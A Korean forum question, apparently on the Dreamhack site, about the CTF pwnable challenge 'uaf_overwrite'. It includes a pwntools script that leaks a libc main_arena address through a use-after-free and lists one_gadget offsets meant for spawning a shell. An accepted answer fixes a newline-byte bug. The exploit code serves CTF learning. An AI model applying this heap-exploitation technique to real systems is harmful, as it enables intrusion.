10 코인 왜 엉뚱한 값이 나오는지 모르겠습니다. 도와주세요

아래는 제가 직접 작성한 코드입니다. 처음에는 쉘까지 얻는 코드를 작성했지만 라이브러리 주소를 잘 못 받는거 같아서 라이브러리 주소 받는 코드까지만 작성을 했는데요. 아래에 제가 사진과 같이 코드를 설명할건데 어디서 틀렸는지나 혹은 왜 이상한 값이 나오는지 설명해주시면 감사하겠습니다.

from pwn import *

#p = remote('host3.dreamhack.games', 16493)
p = process('./uaf_overwrite')

e = ELF('./uaf_overwrite')

libc = ELF('./libc-2.27.so')


def log(n, m): return success(": ".join([n, hex(m)]))


def robot(weight):
    p.sendlineafter("> ", str(2))
    p.sendlineafter("Robot Weight: ", str(weight))

def human(weight, age):
    p.sendlineafter("> ", str(1))
    p.sendlineafter("Human Weight: ", str(weight))
    p.sendlineafter("Human Age: ", str(age))

def custom(size, data, idx):
    p.sendlineafter("> ", "3")
    p.sendlineafter("Size: ", str(size))
    p.sendlineafter("Data: ", data)
    p.sendlineafter("Free idx: ", str(idx))

one_gadget = [0x4f3d5, 0x4f432, 0x10a41c]

custom(1040, "AAAA", -1) #첫번째 청크 & non free
custom(1040, "BBBB", 0)  #두번째 청크 & 첫번째 free
p.sendlineafter("> ", "3") #세번째 청크 & main_arena addr leak
p.sendlineafter("Size: ", "1040")
p.sendlineafter("Data: ", "AAAAAAAAA")
p.recvuntil("Data: AAAAAAAA")

lib = u64(p.recv(6) + b"\x00\x00") 
log("lib", lib)

우선 main_arena 주소를 얻기 위해 청크를 할당 및 해제를 해줍니다. unsorted bin에 들어가도록 size는 0x410 이상으로 맞춰주었습니다. 현재 첫번째 청크가 해제되었습니다.

해제된 청크를 보면

fd와 bk에 main__arena 주소가 있네요. main_arena 주소를 laek하기 위해 uaf 취약점을 이용하여 데이터를 leak해보겠습니다.

해제 후에 같은 청크를 할당하기 위해 같은 사이즈의 청크를 할당하였습니다. A를 9번 넣어준 이유는 bk값을 얻기 위해서입니다. fd 값은 main_arena 주소가 아니더라구요. A를 9번 넣어주면

fd 값의 주소가 전부 A로 덮히고 bk값에 A가 하나 덮혔네요. 그러면 데이터가 AAAAAAAA[main_arena 뒤에 41] 이렇게 출력되겠네요. 그래서 앞에 있는 8개의 A를 버린 다음 main_arena주소(7byte) + 'A'를 받으려고 했습니다.
그럼 나오는 데이터는 대충 0x7ffff~~41 형태로 나와야 하는데

코드를 실행해보면 앞에 7f와 뒤에 41은 맞는데 중간은 어디서 온건지 모르는 값이 나오더라구요.. 왜 이러는걸까요?

#pwnable
작성자 정보
답변 1
질문자가 채택한 답변입니다. 좋은 지식을 공유해줘서 고마워요!
avatar
redticket
대표 업적 없음

값자체는 맞게 받아와지는데
A 9개를 보낼때 sendlineafter쓰시면 엔터인0x0a까지 보내져서 마지막이0x0a41이런식으로 끝나서 헷갈리신거같네요
sendlineafter말고 sendafter쓰시면 될것같습니다

그리고 마지막에 p.interactive()도 추가하셔야되요

2023.02.01. 18:57
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기